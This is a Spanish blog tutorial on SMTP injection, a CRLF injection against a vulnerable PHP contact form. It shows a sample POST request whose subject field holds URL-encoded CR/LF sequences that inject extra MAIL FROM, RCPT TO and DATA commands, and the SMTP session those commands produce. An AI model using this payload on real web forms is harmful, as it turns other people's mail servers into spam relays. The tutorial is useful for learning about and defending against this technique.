SMTP Injection: Otro ataque de CR/LF



Saludos a todos...


Bien siento el haber dejado un tanto de lado la publicación de papers y manuales, pero es que ando liado con la universidad y tal... Adelanto que probablemente se realice un artículo en colaboración con Sknight al estilo de "HTTP Al descubierto", pero esta vez orientado más a vulnerabilidades relacionadas con las cookies.


SMTP INJECTION




Las SMTP injections son una aplicación de la técnica conocida como "CRLF Injections". La vulnerabilidad y el ataque más habitual (HTTP Splitting) vienen introducidos en una anterior publicación[1], así que no vamos a entrar en el tema de en qúe consiste y demás.


COmo iba diciendo, las SMTP injections funcionan como los HTTP Splitting, y básicamente, como cualquier otro tipo de inyección. El objetivo es introducir una sentencia maligna para que sea ejecutada como si fuese propia de la aplicación vulnerable. En este caso, es aplicado al envío de mails.

Para aquellos que anden un poco perdidos, deciros que SMTP es un protocolo encargado de envíar correos (Simple Mail Transfer Protocool). En algunas ocasiones existen ciertas aplicaciones web encargadas del envío de mails, por ejemplo, de sugerencias al webmaster y cosas así. Si la aplicación es vulnerable a las inyecciones de retorno de carro (CR/LF Injection) podríamos aprovecharla para que mande correos a quien nosotros queramos. Hasta aquí creo que todo bien...



Lo segundo que tenemos que tener claro son como se realizan las negociaciones por SMTP[2]. Al final del paper dejo un link para aprender un poco y así comprender en qué consiste la técnica.


El escenario es el siguiente. Tenemos un archivo llamdo mail.php que es la aplicación vulnerable. Esta aplicación es la encargada de recibir por método POST los datos para enviar el mail. En este caso, existe un index.html con un formulario que apunta a mail.php. En este formulario únicamente podemos poner nuestro correo electrónico y el asunto del mensaje. Entonces si tenemos un sniffer puesto en el puerto 80 (siempre que auditemos o hagamos algo es bueno tener un sniffer interceptando la información), vemos algo tipo:


POST http://hostfalso.com.ar/mail.php HTTP/1.1

-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="asunto"
Le mando este mail para decirle
-----------------------------134475172700422922879687252




Sólo he puesto el cacho del "asunto". Si sabemos algo del protocolo SMTP (ya os advertí que necesitabais mirar los links del final) podemos haber deducido que la estructura del mail debe de ser algo al estilo de:


HELO
MAIL FROM:
RCPT TO: lt;datos>
DATA
Subject: Le mando este mail para decirle



Entonces... si fuese vulnerable a CRLF injection, podríamos setear la variable "asunto" con una inyección cuyo objetivo sería partir la negocación y abrir otra con los datos que nosotros queramos, es decir, con el correo qeu queremos mandar y a quien se lo queremos mandar.

Entonces mandamos el siguiente HTTP header a mail.php:


POST http://hostfalso.com.ar/mail.php HTTP/1.1

-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="asunto"
Visita ArgeniversoHack%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO: Lammo@at.com%0d%
0aDATA%0d%0aSPAM test%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO:
Lammo@at.com%0d%0aDATA%0d%0aSPAM test%0d%0a.%0d%0a
-----------------------------134475172700422922879687252





Lo que se transformaría en...



MAIL FROM: [mailfrom]
RCPT TO: [rcptto]
DATA
Subject: Visita ArgeniversoHack
.
MAIL FROM: lammo@arroba.com
RCPT TO: Lammo@at.com
DATA
SPAM Test
.
MAIL FROM: lammo@arroba.com
RCPT TO: Lammo@at.com
DATA
SPAM Test
.

No hay comentarios:

Publicar un comentario